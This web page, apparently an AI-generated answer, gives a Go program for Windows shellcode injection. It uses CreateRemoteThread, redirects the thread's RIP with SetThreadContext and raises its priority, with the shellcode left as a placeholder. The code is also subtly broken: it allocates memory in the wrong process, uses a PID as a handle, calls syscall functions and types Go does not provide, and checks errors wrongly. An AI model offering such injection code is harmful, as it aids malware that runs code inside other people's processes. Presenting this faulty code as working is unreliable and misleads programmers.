用go语言使用CreateRemoteThread函数创建一个远程线程然后使用SetThreadContext函数修改线程的上下文将其指向shellcode的地址并使用SetThreadPriority函数使该线程优先级最高。
以下是使用Go语言实现的代码:
package main
import (
"fmt"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
virtualAlloc = kernel32.NewProc("VirtualAlloc")
createThread = kernel32.NewProc("CreateRemoteThread")
setThreadContext = kernel32.NewProc("SetThreadContext")
setThreadPriority = kernel32.NewProc("SetThreadPriority")
)
func main() {
pid := uint32(1234) // 远程进程的进程ID
shellcode := []byte{...} // shellcode的字节码
// 在远程进程中分配内存
addr, _, err := virtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
if addr == 0 {
fmt.Println("VirtualAlloc failed:", err)
return
}
// 将shellcode写入远程进程中分配的内存中
_, err = syscall.WriteProcessMemory(syscall.Handle(pid), uintptr(addr), shellcode, uint32(len(shellcode)))
if err != nil {
fmt.Println("WriteProcessMemory failed:", err)
return
}
// 创建远程线程
thread, _, err := createThread.Call(0, 0, uintptr(addr), 0, 0, 0, 0)
if thread == 0 {
fmt.Println("CreateRemoteThread failed:", err)
return
}
// 设置线程上下文
var ctx syscall.Context
ctx.ContextFlags = syscall.CONTEXT_FULL
_, err = syscall.GetThreadContext(syscall.Handle(thread), &ctx)
if err != nil {
fmt.Println("GetThreadContext failed:", err)
return
}
ctx.Rip = addr // 将RIP寄存器指向shellcode的地址
_, err = setThreadContext.Call(uintptr(thread), uintptr(unsafe.Pointer(&ctx)))
if err != nil {
fmt.Println("SetThreadContext failed:", err)
return
}
// 将线程优先级设置为最高
_, err = setThreadPriority.Call(uintptr(thread), uintptr(15))
if err != nil {
fmt.Println("SetThreadPriority failed:", err)
return
}
}
原文地址: https://www.cveoy.top/t/topic/4W6 著作权归作者所有。请勿转载和采集!